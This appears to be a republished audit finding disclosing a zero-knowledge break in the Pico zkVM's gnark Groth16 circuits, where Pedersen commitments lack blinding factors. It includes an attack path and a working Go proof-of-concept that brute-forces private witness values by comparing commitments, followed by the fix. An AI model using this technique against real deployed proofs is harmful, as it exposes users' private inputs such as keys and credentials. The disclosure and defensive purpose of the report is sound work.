Malicious verifier will recover private witness values breaking zero-knowledge property
The Groth16 proving system used by the verifier circuits lacked blinding factors in Pedersen commitments, so commitments were deterministic. An attacker could recover private witness values by brute-forcing guesses and comparing commitments.
Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/128
Found by
duha
Summary
The use of RangeChecker.Check() in the BabyBear chip, KoalaBear chip, and verifier circuits will cause a zero-knowledge property violation for Groth16 proofs as a verifier will be able to recover private witness values by brute-forcing/guessing.
Root Cause
In pico/gnark/babybear/babybear.go:367-371 (LoC) and many other lines, the circuits use RangeChecker.Check() when GROTH16 environment variable is not set to 1:
if os.Getenv("GROTH16") != "1" {
p.RangeChecker.Check(quotient, int(maxNbBits-30))
} else {
p.api.ToBinary(quotient, int(maxNbBits-30))
}
The gnark library used in this repo is "github.com/celer-network/gnark v0.1.0 h1:717CxKghLj02v2tAdE6hCuKUouGgzDfZv/W1D4e/sFA=", which contains CVE-2024-45040. In short, in this lib, the Groth16 proving system implements the Pedersen commitments without blinding factors (which helps Pedersen commitment achieves perfect hiding). As a result, two same values will output same commitments. While commitments can be used directly in gnark (via api.Compiler.Commit()), the most common way a gnark circuit might use commitments is via RangeChecker.Check(), which uses commitments internally. The final commitment will be included in groth16 proof, serving as an oracle to guess the private witness.
Internal Pre-conditions
- The
GROTH16environment variable needs to be not set or set to any value other than 1 (which is the default case in production as seen inserver/main/main.go). - The circuit needs to use BabyBear or KoalaBear field elements with range checking enabled. It is the case with the verifier circuit.
- Private witness values need to have limited entropy (e.g., small values, boolean flags, or values from a limited set).
External Pre-conditions
No external pre-conditions required
Attack Path
- Attacker obtains a valid Groth16 proof from the system.
- Attacker reads the circuit, finds the private witness they want to recover and extracts the corresponding commitment value from the proof.
- Attacker iterates through possible values for the private witness.
- For each guess, attacker generates a proof (or just the commitment part) using the same circuit and proving key.
- Attacker compares the commitment from their guess with the original proof's commitment.
- When commitments match, the attacker has successfully recovered the private witness value.
Impact
The gnark verifier circuits process the final EMBED proof from Pico's proving pipeline and convert them into Groth16 proofs for on-chain verification. When the zero-knowledge property is violated through commitment leakage, an attacker can extract:
- Program execution traces
- Memory access patterns
- Intermediate state transitions: Internal register values, ALU operation results, and transient computation states that expose the program's algorithmic implementation details.
- Other private inputs: Confidential inputs to the RISC-V program including cryptographic keys, user credentials, merkle leaves, or proprietary computation parameters that should remain hidden from verifiers.
In the Chips circuit, the function reduceWithMaxBits is invoked for nearly every variable and performs a range check. Consequently, an adversary could, in principle, recover all circuit inputs by exploiting this bug.
Unlike zkRollups that primarily optimize for succinctness and verifiability, Pico zkVM explicitly supports privacy-preserving applications (as stated in the documentation) through zero-knowledge guarantees. This vulnerability breaks these privacy guarantees by enabling deterministic recovery of witness commitments.
PoC
package babybear
import (
"crypto/rand"
"math/big"
"testing"
"fmt"
"github.com/consensys/gnark-crypto/ecc"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend/cs/r1cs"
groth16_bn254 "github.com/consensys/gnark/backend/groth16/bn254"
)
var upperBound = new(big.Int).SetUint64(1 << 32)
type SecretCircuit struct {
A frontend.Variable // Private witness
B frontend.Variable // Private witness
}
func (circuit *SecretCircuit) Define(api frontend.API) error {
chip := NewChip(api)
chip.AssertIsEqualF(
Variable{Value: circuit.A, UpperBound: upperBound},
Variable{Value: circuit.B, UpperBound: upperBound},
)
return nil
}
func TestRecoverPrivateInputs(t *testing.T) {
// When GROTH16 is not set (default in server/main/main.go), the range check will be used, which triggers the bug.
var circuit SecretCircuit
ccs, _ := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, &circuit)
// Groth16 setup, generating the proving key and verification key
pk, vk, _ := groth16.Setup(ccs)
var bound int64 = 1024 // ten bits of entropy for testing
secret_a, _ := rand.Int(rand.Reader, big.NewInt(bound))
secret_b := secret_a
fmt.Printf("secret_a: %d, secret_b: %d\n", secret_a, secret_b)
assignment := SecretCircuit{A: secret_a, B: secret_b}
witness, _ := frontend.NewWitness(&assignment, ecc.BN254.ScalarField())
publicInstances, _ := witness.Public()
// Proving
proof, _ := groth16.Prove(ccs, pk, witness)
// Verifying
err := groth16.Verify(proof, vk, publicInstances)
if err != nil {
t.Fatal("failed to verify proof")
}
// ATTACK
// Converting proving key and proof to concrete types
proofConcrete, _ := proof.(*groth16_bn254.Proof)
println("\nSearching for secrets using the range check commitment")
// Try to guess the secret
for i := int64(0); i < bound; i++ {
guess_a := big.NewInt(int64(i))
guess_assignment := SecretCircuit{A: guess_a, B: guess_a}
guess_witness, _ := frontend.NewWitness(&guess_assignment, ecc.BN254.ScalarField())
// The fastest way to calculate the commitment.
// In fact, we dont need to prove the whole circuit for getting the commitment.
guess_proof, _ := groth16.Prove(ccs, pk, guess_witness)
guess_proofConcrete, _ := guess_proof.(*groth16_bn254.Proof)
if guess_proofConcrete.Commitments[0] == proofConcrete.Commitments[0] {
fmt.Printf("\nFound secret using the range check commitment: a = %d, b = %d\n", guess_a, guess_a)
t.Fail()
}
}
}
Output:
Running tool: /opt/homebrew/bin/go test -timeout 30s -run ^TestRecoverPrivateInputs$ github.com/brevis-network/pico/gnark/babybear
secret_a: 580, secret_b: 580
Searching for secrets using the range check commitment
Found secret using the range check commitment: a = 580, b = 580
--- FAIL: TestRecoverPrivateInputs (1.58s)
FAIL
FAIL github.com/brevis-network/pico/gnark/babybear 2.387s
FAIL
Mitigation
Update the gnark library to at least version 0.11.0 .
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/brevis-network/pico/pull/61
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could recover private witness values such as execution traces, memory access patterns, intermediate state, and confidential inputs like cryptographic keys, breaking the zero-knowledge property.
What the attacker needed
GROTH16 env var not set to 1; Circuit uses BabyBear or KoalaBear with range checks; Private witness has limited entropy
The fix
The issue was fixed by updating the gnark library to at least version 0.11.0.
How it was found
- Obtain a valid Groth16 proof from the system.
- Read the circuit and identify the private witness to recover and its corresponding commitment in the proof.
- Iterate through possible values for the private witness.
- For each guess, generate a proof or just the commitment using the same circuit and proving key.
- Compare the guessed commitment with the original proof's commitment.
- When they match, the private witness value is recovered.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Zero-knowledge proofs are meant to prove something without revealing secret inputs. Here, a part of the proof called a commitment was not randomised, so the same secret always produced the same commitment. An attacker could guess the secret, generate the matching commitment, and compare it to the one in the proof to find the secret.
What is Crypto?
Encryption, signatures, randomness or certificate checks that do not protect what they claim to.